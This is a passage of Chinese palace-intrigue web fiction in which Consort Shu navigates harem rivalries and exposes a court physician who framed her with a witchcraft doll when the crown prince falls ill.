看看皇后身边的章贵人,什么本事也没有,只巴結好了皇后,便从才人成了贵人。 而她这个美人,现在还得向章贵人行礼。 蒋美人没法怨怪皇上不记得她,只会觉得是皇后的原因,她若是向皇上提一提她,皇上難道不会顺手给她升个位份吗? 今年可是皇上最大方的一次了,下回大封六宫还不知道是什么时候。 这个想法久了,碰上份例里本就少的冰被克扣,她可不得闹起来? 沈青观察着贤妃、何才人与蒋美人的神情,转而将视线移向了皇后。 只见皇后輕点着手指,便知道皇后对这场面心里有数。 她方才听着的时候便发觉了不对,宫里仅有三位皇子,紧着他们来还嫌不够,二皇子的冰怎么可能不够用? 再一想何才人是皇后的人,鼓动蒋美人来闹,讓二皇子的冰消耗快些,随意做些什么便能办到。 于是不难猜出,皇后与何才人合谋了这件事。 经此一事,贤妃不会再信任蒋美人,何才人顺利成了贤妃最亲近的人。 至于林贵嫔,很早之前便是贤妃身边的隐形人了。 贤妃太冲动,也不管不顾,虽讓人防不胜防,但只要知道她做了什么,也好应对,皇后捏住了何才人,等同于掌握住了贤妃,需要提防的就只剩德妃了。 沈青看了皇后一眼便移开了视线。 这场闹剧有了結果,皇后道:“贤妃于此事上管教不严,怎么能纵容奴才挪用主子的份例?二皇子便是再不够用,也该报与本宫,本宫这个做母后的难道会少了二皇子的冰用?” “贤妃,你当真是糊涂。” 皇后一番话说得贤妃恶心至极,她冷笑一声,瞥了一眼蒋美人便拂袖离开。 皇后见状揉了揉额头,皇上不进后宫,底下嫔妃自然跳不起来,但贤妃因与皇上的那一层表妹关系却更是嚣张了。 只除了在沈青面前落了下乘。 何才人见状,轻声道:“贤妃娘娘这几日睡得不安稳,脾气有些大,皇后娘娘莫怪。既然事情已经结束,嫔妾也先告退了。” 皇后觑了一眼已经僵住的蒋美人,不咸不淡道:“你倒是为贤妃周全,去吧。” 何才人退出殿内,赶忙去追贤妃。 德妃嗤笑了一声,不知道是感叹贤妃身边有一个二皇子生母何才人为她效忠,还是什么。 沈青即便清楚也不会多言,见事情了结,便与德妃一前一后朝皇后告退了。 沈青从坤宁宫出来后不久,陳婕妤便追上了她。 轿子落下,沈青与陈婕妤一起走。 陈婕妤道:“娘娘,您让嫔妾关注的玉贵人与嫣嫔有消息了,嫣嫔仿佛受制于玉贵人。” 沈青面露诧异:“此话怎讲?” 嫣嫔的位份比玉贵人高,玉贵人再能耐,也不能威胁一个嫔位吧。 “嫣嫔次次从玉贵人处离开,都要有所动作,那些东西,没有玉贵人指点,嫣嫔是絕对摸不清的,而且嫔妾看着,玉贵人在这宫中,似是仍有人手供她驱使。” “虽然她们现在的动作小,但在将来恐对娘娘不利。” 沈青沉思:“本宫知道了。” 她早两年便让陈婕妤关注玉贵人和嫣嫔了,只是没想到,她们会一直安分到现在。 不过也是,她们两人的位份加起来对付她,都有些不够看。 位份越高,权柄越大,沈青已经可以保证承乾宫的宫人背后絕对没有站其他人。 这般,让其他人怎么下手? 沈青知道自己惹眼,看似花团锦簇,何尝不是烈火烹油,只要一有机会,她不相信其他人会不心动将她拉下来。 “陈婕妤,这件事你做的很好,无论你想要什么,尽管向本宫开口。” 陈婕妤脸上漾起笑意,真心道:“嫔妾已经没什么可求了,只要娘娘与兰姐姐安好,嫔妾这心便落下了。” 兰修容是个迟钝的,什么都不知晓,既如此,她自是要听沈青的。 只有淑妃娘娘好,她与兰修容才会好,她们三个才会好。 她们早已一荣俱荣,一损俱损了,她不信皇上不是看在沈青的面子上才将她封为婕妤的。 与陈婕妤交谈过后,沈青一直默默提防着,但直到翻了年,已是来年三月了,玉贵人与嫣嫔仍是没什么动静。 承乾宫中。 大皇子纪璨倒腾着两条小短腿,身后跟着四名太監,一溜烟跑进了承乾宫。 “淑娘娘,璨儿来啦!” 在院子中握着书躺在摇椅上,身上披了条粉锦毯子的沈青,闻言勾起了唇,她放下书,站起来走了几步,便被朝她跑来的纪璨扑住了双腿。 沈青露出笑容,蹲下身,拿帕子轻轻擦纪璨额前的汗水:“小殿下,你跑慢一些,淑娘娘这里随时欢迎你来。” 纪璨喘匀了气,目露期待:“淑娘娘,带璨儿去御花园玩儿吧。” 母后不让他在宫里乱逛,即便有太監跟着也不行,而母后又抽不出空陪他,即便有空也是在关心他的课业,但有淑娘娘带着就不同了,母后会非常放心。 沈青不忍心拒绝小家伙的请求,认命道:“好,淑娘娘带小殿下去,现在御花园的花应是开了。” 纪璨绽出笑容,他就知道淑娘娘待他好! 章贵人虽然也好,但面对他总是很拘谨,不过他明白,这是尊敬他的意思。 他喜欢淑娘娘和章贵人,但更喜欢淑娘娘。 第89章 第89章淑妃二日 沈青与纪璨已经很要好了,纪璨吃过什么好东西都不忘了她,她找到什么有意思的也会说给纪璨听。 皇后默许纪璨来找她,也大概是相信她不会出手害纪璨,甚至有能力护住纪璨。 在御花园,陪纪璨玩的主要还是聞喜这个太监,聞喜白白胖胖,常能将大皇子逗得哈哈直笑。 大皇子不是沉闷的性子,在这方面他更像皇后,皇后以前也爱四处赏景,只是漸漸地,离开坤宁宫的次数少了。 沈青也见过二皇子和三皇子,二皇子总看着怯怯的,拽着贤妃的衣摆,想躲在后面,但通常只把眼睛挡住了,还露了半个身子在外面。三皇子则很安静,一双眼睛乌黑透亮,德妃很满意他的乖巧。 三位皇子长的都好,脸皮软软白白,五官优越,小小年纪就可以看到日后的风采。 这日的带孩子结束,沈青親自将大皇子送回了坤宁宫,大皇子的興奋劲儿已经稍稍过去,只怕待会儿就困了。 皇后親迎了出来,将累了的大皇子揽在怀里,溫婉笑道:“辛苦妹妹了。” “这是臣妾應該做的,小殿下也十分可爱。” 皇后的笑意更加真诚,让宫人備了燕窝送去承乾宫,即便知道承乾宫什么都不缺,可坤宁宫与承乾宫的往来一贯如此,宫里也习惯了皇后与淑妃关系和睦。 沈青没有拒绝,高興地谢了一遍皇后,这才带着宫人离开。 回承乾宫的路上,白桃白樱与闻喜丝毫没提大皇子软糯可人,他们承乾宫是否也該迎来一位小主子的话。 只挑挑拣拣说了些宫内外的趣事。 因为他们即便很心急,也更会顾虑娘娘的情绪。 娘娘成为承乾宫的主位已将近三年,却仍未传出好消息,他们不得不做出最坏的打算,但好在娘娘与皇上的感情是越来越好了,丝毫没有因此事而离心,他们才稍稍放心。 回到承乾宫,沈青便收到了宫外沈家递进宫的信件。 这三年家里是越过越好,有沈秀秀的经商天赋在,沈家已经不会像从前一样稍不注意就会返贫,且在京城名声渐望。 沈父和五弟考上了秀才,沈萧萧十一岁考中秀才,即便知道其中有纪宸为他找了夫子的缘故,收到消息的沈青也难掩震驚,这孩子已经不是聰慧能形容得了了。 至于沈父,虽然沈青知道他有底子在,可仍会驚讶父親居然选了这条路,不再执着于做生意。 蓉妹性格大大咧咧,便跟着沈秀秀长见识,婉妹文静,已经拜了一名师父在学画。 见子女都渐渐成才,母亲李雁回外祖家的次数就多了,外祖家就李雁这一个女儿,即便现在身体不逊色年轻时候,做女儿的也难免擔忧。 看完后,沈青认认真真回了封信。 傍晚,圣驾到承乾宫。 沈青便将沈家的事与纪宸说了。 “臣妾真没想到,臣妾的父亲人到中年竟然下场科考了,还得了个秀才回来。母亲再去外祖家帮忙,下回拎臣妾说不定跟拎小鸡仔似的。” “秀秀不必说,他打小就聰明,但臣妾竟没注意到蓉妹也对拨算盤感兴趣,婉妹去学画倒在臣妾的意料之中,她自小就对画卷痴迷些。” “五弟可能是我们老沈家最聪明的一个了……但比不上陛下!” 沈青揽着纪宸的胳膊,想到哪儿说到哪儿。 纪宸抿唇笑,眼中的笑意很明显。 从前他总想着不该将喜爱表现出来,可他发现,他这么做时,沈青只会觉得他性格如此,不会往其他地方想,且相当自信他对她的情意。 至于擔忧沈青得宠便张狂什么,他更担心她被欺负。 既如此,他在她面前为何还要喜怒不形于色,事事都要沈青来猜? 猜得久了,沈青难道不会迷茫吗? 沈青默默道,她才不会迷茫,且相处的久了,纪宸一个抬眼她便知道他是什么意思。 除非纪宸情绪起伏剧烈,不然她听到的心声也是断断续续,不成句子的,但这么长时间来,也没耽误她像盤猫一样盘纪宸,将他盘順了啊。 乾清宫那只叫大虎的猫,随着长大,性子越发与纪宸相似,冷冷的,傲傲的,可要摸清了大虎的性子,在她手底下也是脾气极好的。 沈青笑眯眯地看向纪宸。 纪宸叹气道:“青青怎么能这么说母亲呢,你自己的力气都越练越大了,朕都没有怎么说你。” 这不是说了嘛……沈青视线微移到胳膊上,又移了回来,好在她现在没有使力。 沈青哼了一声:“这证明臣妾身体健康。” 她可没有被现在这安逸的生活给养废了,不仅没落下骑射,更是在景明六年的时候在避暑山庄学会了凫水。 现在都景明八年了。 “是,朕心悦这样的淑妃娘娘。” 虽然沈青看着是个淑静娴雅的淑妃娘娘,但他却深深明白即便是深宫也没磨掉她身上的灵性。 他到承乾宫,总会很高兴。 纪宸想到今日的事,斟酌着问:“青青很喜欢璨儿?” 沈青点头:“大皇子活泼又开朗,还会黏糊糊叫臣妾淑娘娘,臣妾一听,便想應下他的请求。而且有闻喜在,也不需要臣妾怎么累。” 纪宸不知何时手掌已经探向沈青的腹部,他垂眸,語气竟有一丝的不自信:“那若是朕与你的孩子,你也会这般喜爱吗?” 沈青的视线落到纪宸的鼻梁上,歪了歪头,語气一轻带着些许笑意道:“不会啊。” 纪宸的动作一顿,还没等他有所反应,便听沈青接着道: “臣妾会爱我们的小孩,怎么能单单只有喜欢呢?” 纪宸呼吸順畅了,带着一点气愤看了她一眼:“促狭。” 沈青笑了笑:“无论臣妾与皇上的孩子是平庸还是聪慧,是顽皮还是文静,臣妾都会爱这个孩子。” 纪宸满意了,他亦会将最好的捧给他们的孩子。 “爱妃喜欢公主还是皇子?” 沈青想了想,还是决定避开这个致命问题,毕竟她若回答喜欢公主,待生了皇子,纪宸又会觉得她不爱孩子。可若是说喜欢皇子,纪宸定会无理地指责她怎能不喜欢公主,公主那么好云云。 说来,纪宸膝下可一位公主都没有,且本朝公主不必联姻,永福公主纪仙也是手握权力的。 比她那几位哥哥可成器了不止一点,由此可见纪宸没什么女子就该相夫教子,是大家闺秀的思想。 当然也不排除是纪宸的兄弟太废,更凸显了永福公主的难能可贵。 沈青道:“若是生个公主,臣妾希望她像她的姑姑永福公主多一些,若是位皇子,臣妾希望他更像皇上。” 纪宸握住沈青的手,真心道:“朕却希望无论皇子公主都该像卿卿多些。” 沈青的性子好,样貌好,皇子公主像她必是极好的。 沈青乐了:“陛下,这孩子还没有影,我们怎么就讨论起来了?” 纪宸似真似假道:“朕想提前给我们的孩子霸占住母妃的爱。” 他顿了一下:“朕也爱青青。” 沈青知道他这一句话,是对应了她说的对孩子是爱,而非喜欢。 “臣妾早就知道了!”喜欢和爱她还不至于分不清。 因为纪宸爱她,所以想让她当淑妃,所以既想要和她的孩子,又不想她这么早怀孕。 【那青青对朕呢?】 沈青默默道,已经有一些爱了。 可若让她爱得死去活来,肝腸寸断,她却是做不到的,有些人本就适合日久生情。 沈青笑着吻上了纪宸的薄唇。 …… 今年夏天气溫陡升,五月,宫内已经开始筹備去避暑山中的东西。 沈青作为淑妃,早已有了自己的车架,里面很宽敞,只比皇上皇后的小些。 皇后在忙,纪璨熟门熟路登上沈青的马车。 “淑娘娘!” 沈青被这一声称谓喊得软了心腸,将他抱在怀里:“我们小殿下好俊俏,看得淑娘娘好喜欢。” 纪璨有些羞,但还没忘记自己的目的,淑娘娘这里总有好吃的。 他从沈青怀里探出头,眼睛一亮,盯着冰碗问道:“淑娘娘吃的是什么,璨儿也好想吃……” 沈青了然,怪不得纪璨这么早来找她,原来是打的这个念头。 应是没在皇后那里得到满足。 但小孩子肠胃弱,皇后不让他吃是对的。 “可是璨儿年纪太小了,吃这些冰肠胃。” 纪璨举起一根手指:“璨儿只吃一口!” “璨儿会在嘴里暖化了再咽下去,就不会冰了。” 沈青觉得他太可爱了,且一口是无妨的,便点了点头,让人重新再去准备一份。 心心念念的冰碗被端到面前,纪璨搓了搓手掌,小声念叨着:“只吃一口,一口。” 说着,他拿起勺子,飞快地舀了一大勺,张开血盆大口,塞进嘴巴里。 沈青看得心惊,是只吃了一口,可没说是这么大一口啊! 纪璨还在摇晃身体,好吃! 沈青忍不住扶额,让人唤了太医,待检查过纪璨没问题,她这才放心。 “对不起淑娘娘,让你担心了。” 沈青摸着他的头道:“璨儿已经很乖了,偶尔调皮一次也没什么。” “淑娘娘,等我长大了,是不是也能像您一样无论吃什么,吃多少母后也不会说?” 说得她跟吃货似的……沈青语气温柔:“当然了,璨儿要平安顺遂的快快长大,长大后你就会发现,大人的世界很精彩。” 纪璨小手一挥:“璨儿要吃遍天底下所有美食。” 沈青羡慕道:“淑娘娘也想!” 第90章 第90章淑妃三日 这一下午,纪璨在沈青的马车上睡了一觉,快到晚膳时沈青抱着纪璨给皇后送去。 “皇后娘娘,璨儿在臣妾那里贪嘴吃了一口冰碗,不过臣妾唤了太医,小殿下身体无碍。” 皇后闻言愕然,哭笑不得道:“璨儿晌午在本宫这里刚吃过一口,小鬼机灵又去你那里讨要了,他那一口吓坏淑妃了吧?” 沈青低头瞅了一眼睡得正香的纪璨,无可奈何笑道:“娘娘料事如神,臣妾想着,不过一口,允就允了,便未使人来告诉娘娘。” 皇后示意嬷嬷将纪璨从沈青怀里接过来。 纪璨再过三个月就四岁了,沉手的很,也不知道沈青是如何抱动的,甚至面不改色笑脸盈盈。 “璨儿在你那儿,本宫是极放心的,这点小事淑妃自己做主即可。” 沈青称是,没在皇后处久留,离开后就去找纪宸一起用晚膳了。 从皇宫到避暑山莊六天的时间一晃而过,这次她的住处是风荷居,可临湖赏荷,也分外清凉,且住处前面的湖与纪宸住处的是连在一起的,因此种的都是荷花。 待宫人将住处收拾好,沈青便住下了。 翌日一早需要跟随皇后去太后那里請安,她便没等纪宸那边的消息。 左右到避暑山莊的第一晚,纪宸总要忙些。 在风荷居睡的就是比宫里舒服,即便沈青是不缺冰鉴用的,但在这里盖条被子不仅不热,反而冷热适宜。 一夜无梦。 卯时初,沈青起身后,便有宫人上前侍奉她穿衣梳洗,收拾好,出了门,仍有软轿与妃位仪仗在等她。 沈青先去皇后处,与几名嫔妃一起跟着皇后去太后的鬆鹤斋。 到了鬆鹤斋,贤妃与林貴嫔何才人蒋美人已经到了,只是蒋美人离贤妃稍远,看着不如何才人那般亲近,但太后待蒋美人如常。 沈青与皇后朝太后行了禮,贤妃等人也起身给她们行了禮。 贤妃看着沈青目光复杂,曾几何时,还是沈青要恭恭敬敬朝她行礼,现在,她反而要对沈青行个半礼了。 但不清楚是沈青不记得她在行礼上刁難过她还是不在意,沈青成了淑妃,却没在此事上旧事重演。 也幸好沈青没那么做,不然她一定闹到太后面前,并将沈青身边的人都刁難个遍。 众嫔妃坐下后又过了一会儿,德妃帶着李貴嫔与楚嫔姗姗来迟。 李贵嫔似乎也习惯了堂姐这般,没给德妃找借口。楚嫔坠在后面,稍显低调。 从分了三拨来给太后請安,便可见后宫的站队,当然与皇后一起来的,也有不依附皇后的普通嫔妃。 皇后掌管后宫,太后问话,自然是皇后答的多。 问着问着,太后的目光便落到了沈青身上:“淑妃,皇上后宫连位公主都没有,哀家可还等着你的好消息。” 在后宫,开枝散叶是头等大事,太后只恨皇孙不够多,但现下催不到其他嫔妃头上,便只能用不争气的眼神看沈青。 德妃和贤妃的余光也在观察着沈青,她们是最不希望淑妃有好消息的。 沈青闻言露出落寞神情:“臣妾知晓了。” 纵然她再不以为意,也得拿出合适的态度,不然岂不是在拱火? 再说了,会对她说这种话的也只有太后一人,而对太后,她半个月才来请安一次,实在不必对着干。 太后见此便看向德妃与贤妃,问起二皇子与三皇子的事。 问起这个,贤妃可就不困了,德妃只捡三皇子不重要的事来说,沈青低头听着,皇后看了一眼德妃。 太后道:“明日便将三位皇子帶来给哀家看看吧。” 太后话落,皇后德妃贤妃还未有所言,便听到通报声,是皇上来了。 纪宸走进来,看向沈青,边问都在聊什么。 皇后将方才太后的话拿出来说了。 【母后要见皇子,何须过问妃嫔的意见,传召一声即可。】 纪宸道:“母后想念三位皇孙,明日将他们领来松鹤斋。” 德妃贤妃对皇上这个态度习惯了,于她们是个宝的小皇子,于皇上而言还比不得讨太后欢心重要。 皇上来之后,松鹤斋的气氛稍稍冷凝了一下,便很快和气起来。 请安过后,沈青同纪宸一起离开。 晚上自是歇在了纪宸那里。 第二天,趁着纪宸去钓魚,沈青骑马在避暑山庄跑了个遍,抓了只雉鸡来与纪宸的魚一起烤,再撒上秘制的香料。 沈青满足地喟叹一声:“好香啊!” “若是被璨儿知道淑娘娘瞒着他在这里吃这种好东西,定然要找臣妾闹了。” 纪宸笑她:“不过是一只雉鸡与几条鱼,又非山珍海味,怎得愛妃这般珍重?” 沈青认真道:“亲自动手猎的食物,吃起来珍惜,自然觉得美味了。臣妾见皇上吃的也很高兴啊。” “那是因为有愛妃陪着,且是爱妃亲自去打的猎物。”纪宸沉吟着,“正好朕钓的鱼不少,让人烹制了,送去给纪璨尝尝。” 后面两句话,是纪宸吩咐钱继的。 然而,許是两人话中太过惦念纪璨,鱼还没送出去,便有人跑来禀报大皇子不知怎得,上吐下泻起来,难受得紧。 沈青与纪宸闻言,当即往皇后的水方岩秀走去。 一路上,沈青思索着上次与纪璨接触还是第一日来避暑山庄的路上,这次应与她没什么关系,便稍稍松了神,只仍提心吊胆着大皇子的身体。 水方岩秀中,已经站了許多嫔妃,德妃贤妃也来了。 见到皇上与沈青,德妃道:“臣妾参见皇上、淑妃娘娘,皇后在屋内陪着大皇子,太医已经来了,正在诊治,许是待会儿便有消息了。” 纪宸沉着脸,沈青也眉头微蹙,担忧地看向室内。 这时,太医从里面出来,禀报道:“微臣参见皇上,大皇子的病情来得诡异,初时上吐下泻,过了一会儿便泛起高热,百般医治也无法缓解,其症状既不似普通风寒,又不似疫病,微臣斗胆猜测,许是与巫蠱詛咒有关。” 德妃凝神,细细瞧了这名太医一眼,道:“皇上,这位吳太医来自苗疆,想来是对巫蠱有所涉猎,才有此之言。” 本朝律法明令禁止巫蠱之術,饲养蠱毒未成形者流放,成形者杀头。 因此大家对巫蛊之術既熟悉又陌生。 熟悉是知道这是个什么玩意儿,陌生则是因为已经许久 没人提起过巫蛊之术了。 沈青秉持着多说多错的想法,并未多言。 贤妃听到吳太医来自苗疆,目光当即便有些嫌弃,并暗暗决定再也不让吳太医来为二皇子诊治了。 自皇上与沈青出现后便沉默的嫣嫔,忽然问:“若真是巫蛊詛咒,怎样才能治好大皇子?” 吴太医低头答:“找出背地里藏匿的巫蛊詛咒之物,将其毁坏,大皇子殿下便可好转。” 贤妃嘶了一声:“这种东西自然是被好生藏起来了,难道要搜宫不成?” 沈青看向纪宸,她是一点都不相信巫蛊诅咒的,若是能养出一条毒虫,伤了人还是有可能的,但是诅咒,这也太天方夜谭了。 德妃道:“搜宫也是一种好办法,左右若没阴私,也不怕搜。” “淑妃娘娘,您说呢?” 骤然被德妃提到,沈青自是道:“大皇子不见好,本宫也着急,若真如吴太医所说,找到诅咒之物大皇子便能转危为安,那搜宫宜早不宜迟,但若压根是吴太医没能力,杜撰了此事,便是犯了欺君之罪。” 吴太医:“微臣自然不敢拿身家性命开玩笑,微臣有九成把握大皇子受的是巫蛊之祸。” 沈青不再多言,看向纪宸。 她此时心中已经有些不妙,吴太医的反应怎么那么胸有成竹,嫣嫔方才也跳了出来,甚至于德妃也在往她身上引。 但她是清白的,若是栽赃嫁祸,总会找到漏洞反击,况且她这两日都跟纪宸呆在一起,总不至于他们敢将巫蛊诅咒牵扯到皇上身上,于是心里稍定。 纪宸道:“那便搜宫,錢继,你和王积贵一同带着人去搜,王定,你将大皇子今日接触了什么人什么物查个一清二楚。” 錢继与王定称是,王积贵倒不在这里,但大皇子出了事,他也得到了消息,钱继从水方岩秀出来,便与王积贵碰上了,当下不必多言,开始办事。 “朕进去看看大皇子。” 沈青听到这话,也随纪宸进去。 屋内,另有两名太医在细细诊治,两人眉头紧锁,愁云满面,光是看着便知道大皇子的病不顺利。 纪宸问:“如何?” 两名太医忐忑地回道:“大皇子的脉象奇怪,我等诊不出来什么,唯有吴太医有些许思绪。” 沈青看向大皇子,发现他浑身滚烫,昏迷不醒,一旁的皇后已经哭得要晕厥了,不禁感到揪心。 沈青走到皇后身边,与青古一起扶着皇后,她与青古对视一眼,青古冲她摇了摇头。 青古精通药理,连她都无法下手,可见有多棘手。 她问道:“随行的太医仅有这三位吗?” 其中一名太医听到了,连忙道:“回淑妃娘娘的话,还有两位,只是那两位太医上了年纪,舟车劳顿后身体不舒坦,没法到大皇子这里来。” 沈青这话给了纪宸思路,他唤来一名小太监,让他去传召朝臣所带的大夫。 纪宸不相信巫蛊诅咒之说,若有,他杀了一批官员,早该诅咒缠身了。 可见,这是人祸。【你现在阅读的是 】 90-100 第91章 第91章淑妃四日 大皇子的病太医无从下手,只能做基础的降热處理,接下来就是等,等将詛咒之物找出来。 沈青在一旁安抚着皇后,纪宸神色不明地扫过包括吴太医在內的三名太医。 三人均表现地战战兢兢,冷汗直下,暂看不出什么。 半个时辰后,钱继与王積貴帶着東西出现在水芳岩秀。 纪宸已经从大皇子的屋內出来,正听王定汇报大皇子这一天接触过什么用过什么。 “大皇子卯正起身,在皇后處喝了一碗鲜粥,便由嬷嬷帶着送到了太后那里,在太后身邊用了两块牛乳糕,糕点二皇子也用过,目前二皇子并无大碍。辰时初从太后那里离开,便径直回到了水芳岩秀,用功两个时辰,中间取用了一块茯苓糕与一小碗莲子羹。” “午膳大皇子与皇后同用,所用膳食皇后也入口过,膳后,大皇子单独喝了一碗酸梅汤,才去午睡,直至醒来腹痛难忍,方传唤了太医。” “奴才将大皇子接触过的東西都检查了一遍,没什么问题,只除了那碗酸梅汤,碗与调羹被清洗过,并不清楚里面是否混有别的東西。” 王定话落,往侧邊退了一步,露出回来的钱继与王積貴,只见王積貴手上拿着一只被精心缝制的布娃娃,然而上面却落着一张纸条,纸条上用血渍竖着写下生辰八字,除此之外,娃娃的腹部、头部都紮上了数枚银针。 嫣嫔頓时驚呼出声:“这是大皇子的生辰八字。” 大皇子几时出生并不是秘密,那日嫔妃都候在坤宁宫,直至听到婴儿的第一声啼哭,才纷纷恭喜皇上太后。 众人的目光都落到嫣嫔身上,嫣嫔忙道:“嫔妾失言。”便驚慌地捂住了嘴。 似是驚骇于这种歹毒行径。 德妃仔细瞧过那个娃娃,才开口:“大皇子上吐下泻,正是腹部的症候,之后又头疼脑热……与这巫蛊娃娃被紮针的地方恰恰相符。” 听着德妃冷静分析,賢妃不甘落后,忍着嫌弃,皱着眉看了那娃娃好几眼,却没看出什么。 便问:“皇上,这东西是从哪里搜出来的?” 纪宸抬眼看向王积贵。 王积贵:“回皇上与诸位娘娘、主子的话,东西是从风荷居搜出来的,原本被置于柜中的暗格。” 嫣嫔惊讶:“风荷居不是淑妃娘娘住的地方吗?难道……” 賢妃身旁的何才人仿佛无意道:“嫣嫔今日的话,好似有些多。” 贤妃刚因淑妃二字眼睛亮起来,便听到何才人的话,目光頓时轉变为狐疑,落到嫣嫔身上,状似玩笑道:“嫣嫔懂的真多。” 还不待嫣嫔辩解些什么,德妃的声音便压过了她:“风荷居确实是淑妃住的地方,既然在淑妃那里搜到了害人的东西,不若将淑妃请出来,对质一二?” “若淑妃清白,也好早早洗清她的冤屈,若淑妃有问题,还是先为大皇子破除詛咒要紧,皇上您看?” 沈青现在仍在室內,陪着皇后。 纪宸对钱继道:“将淑妃请出来。” 沈青听到外面的动静,便想出去看看,却被皇后攥紧了手。 皇后悲痛之余不忘对她道:“这是一场针对你的阴谋,本宫从未疑心过你会对大皇子出手。” 沈青心中动容,反握住皇后的手:“多谢娘娘相信臣妾,臣妾要害大皇子,多的是机会,何须用这恶心的手段。可见是有人在宫内下不了手,才在避暑山庄搞出这件事。” 她语气轉下,低声道:“娘娘,臣妾待会儿会将那个诅咒娃娃破坏掉,您注意大皇子身邊的动静。” 皇后精神一振,眼中锋芒毕露,扫了一眼青古。 青古微微点头。 这时钱继走进来,比了个请的手势,沈青走到他旁邊,他这才将方才发生的事低声复述了一遍。 沈青细细听着,出来后便走到了纪宸身边。 她相当冷静问王积贵:“搜出来的人偶可否交予本宫一看?” 纪宸扫了王积贵一眼,王积贵将人偶呈给沈青。 沈青直接将人偶拿在手里,却冷不防被上面的针扎出了血,她没管指尖的一点血珠,用几息时间打量着娃娃。 纪宸的目光落到沈青的手上,微微皱眉。 沈青抬眼道:“若诅咒生效的是这只人偶,现在本宫已经将银针拔下,纸条毁坏,大皇子的病应会转好,可若大皇子的病没有转好,便不能说是这只娃娃导致的,即便这是从本宫住处搜出来的,本宫也不会担这个责任。” 嫣嫔想开口,却被纪宸冷冷扫了一眼,紧接着,两名太监立刻上前钳制住她的胳膊,将一团布塞进她嘴里。 德妃不语,她哪能不知道沈青这是想诈那名吴太医,估计吴太医的动作已经被皇后盯上了。 有嫣嫔这个前车之鉴,其余人自不会再多话。 沈青继续着:“吴太医信誓旦旦说大皇子受的是巫蛊之祸,现在娃娃已毁,大皇子若不能转好,臣妾恳请皇上将吴太医打入大牢,以免日后再有学艺不精之徒,借巫蛊诅咒来为自己脱罪。” 兰修容道:“臣妾觉得也是这个道理。” 陈婕妤用帕子掩唇,压下那一点笑意:“若日后太医遇见个奇症诡症,便推脱到巫蛊神鬼上,没有任何钻研进取态度,宫里的主子岂不是生一次病就要喝一碗符水,这与不懂教化的愚民又有何异?” 贤妃一想到那个场景便面露排斥,符水,谁知道里面加了什么控制人的东西? 外面一人一句讨论着,室内一直在给大皇子把脉的太医忽然惊呼:“大皇子的脉象正常了!” 这句话不久,便清晰听到青古呵斥的声音:“你手里藏的什么?” 室内骤然混乱起来,众人好奇地往里面张望,却未得吩咐不敢进去。 纪宸将沈青手里的娃娃接过来,拿帕子擦掉她手上的血珠,见不再渗血了才满意。 他拍了拍她的背:“好奇便进去看看吧。” 聪慧的姑娘合该奖励。 原本就蠢蠢欲动的沈青不忘行了一礼,这才走进去。 进去后,只见大皇子的床榻边,吴太医被扑倒在地,另一名身体略宽的太医压住了他,沈青认出,正是他一直在给大皇子把脉,却怎么也把不准,神情从可怜到绝望。 这名太医姓趙。 另一名太医则抖着手,跌坐在一旁,惶惶不安。 趙太医愤恨地朝吴太医挥拳,压低了声音咬牙切齿道:“枉我看你背井离乡来太医院,对你多有关照,你怎么敢害我?” 吴太医哎呦来哎呦去,却没有任何辩解的话。 沈青看向皇后与青古,她们俩围在大皇子身边,青古正给大皇子把脉,满脸惊喜道:“是急症引起的高热,用对了藥便能很快降温。” 皇后长舒一口气。 沈青闻言也放下心来:“青古姐姐,方才从吴太医身上发现了什么?” 青古听到称谓掩下心中的酸涩,当初沈青来到娘娘身边,她也是把沈青当作妹妹来看待的,且相处的时间并不算短。 她将一个硬木片拿出来,递给沈青:“吴太医便是拿这个东西提前放到大皇子身上,压迫住经脉,才使脉象紊乱微弱起来。” 沈青接过,厌烦道:“鬼蜮伎俩。” 她见赵太医将吴太医打痛快了,便道:“赵太医,大皇子还需要你来对症下藥,万万不可因为小人而耽误了。” 赵太医站起来,称是,神色变为认真,上前给大皇子再一次把脉,然后行云流水写出药方,递与一旁的医女,让其去煎药。 吴太医则在赵太医起来的那一瞬,便被拿下了,与此同时,还有呆坐在一旁满是心虚的那名太医也被一同押下。 沈青见此退出室内,回到纪宸身边,将方才发生的事的说了出来。 纪宸吩咐道:“将吴太医与其同伙押下去,严刑拷打,务必问出东西。” 他复又看向嫣嫔:“将嫣嫔一起带走,朕不信她清白。” 一个相当聪慧的人在刚刚的紧要关头却想要犯蠢,任谁都要怀疑她一下。 嫣嫔瘫软在地,却觉得这样也好,失败了,就不必日日提心吊胆,害怕哪日因不听话而给母亲弟弟招来祸患。 王积贵称是,一般刑讯都是他来经手的。 临走前,他的视线落在了王定身上一瞬,今日戏台子搭好,眼下戏只唱了一半,定有人会想接手,继续唱下去。 王定弓身站立,不见丝毫异动,却明晰了干爹的意思。 嫣嫔被带走,先前被纪宸吩咐过的小太监则将朝臣随行的大夫带了进来。 大夫身旁,站着一位熟人,她梳着妇人的发髻,穿着一件淡紫色的衣裳,站定后开口道:“妾身许萝图参见皇上、淑妃娘娘、诸位娘娘、主子,听闻大皇子身体有恙,皇上传召大夫诊治,妾身的哥哥身边正好随行着一位薛神医,神医经年在外游历,经验丰富,想来会对大皇子的病有些不同见解,便冒然将其带来了。” 沈青面露惊喜,她没想到竟能在这里见到指点她茶艺的师父。 师父在宫里还是叫晚霞,是奉旨出了宫才改回自己的名字。 纪宸了然:“你的哥哥是许椿龄。” 出于对许椿龄的信任,即便大皇子喂了药便会好,他仍是让薛神医进去看了看。 薛神医入内,许萝图站在一侧,她抬眼,正好与沈青的视线碰到了一起,不由笑了笑。 视线交汇本就是件很奇妙的事,一切尽在不言之中。 沈青顿时明白,师父是为她而来的! 恐怕在避暑山庄,关于淑妃娘娘处搜出巫蛊人偶的言论已经悄悄传了起来。 甚至于说是她暗害了大皇子,师父这才坐不住了。 而且师父开口时,只唤了淑妃娘娘,对德妃与贤妃却以诸位娘娘一概论之,便可瞧见师父待她的特殊。 第92章 第92章淑妃五日 薛神医进去后,听太医将方才的事说了一遍,他拿起最初太医给大皇子熬的藥渣子,翻过后,便退了出去。 皇后随薛神医一同出来。 嫔妃纷纷朝皇后行礼,被皇后一抬手阻止了。 薛神医朝纪宸拱了拱手:“皇上,若是没猜錯的话,皇子最初上吐下泻是因为症状开始的一个时辰前误食了巴豆,后来太医开的藥稳住了前一个症状,但藥里面被加了乌头,才使这位皇子表现出風寒发热的急症,引起了心悸,面色潮红。” “那木片在特殊经脉处压住,可讓脉象紊乱,从而使太医看不出这是生了什么病,便无法对症下药。” 若是将腹泻与高热分开,即便切不出什么脉,也能通过望闻问来施药,但坏就坏在太医把这两个病当成一个病来治了。 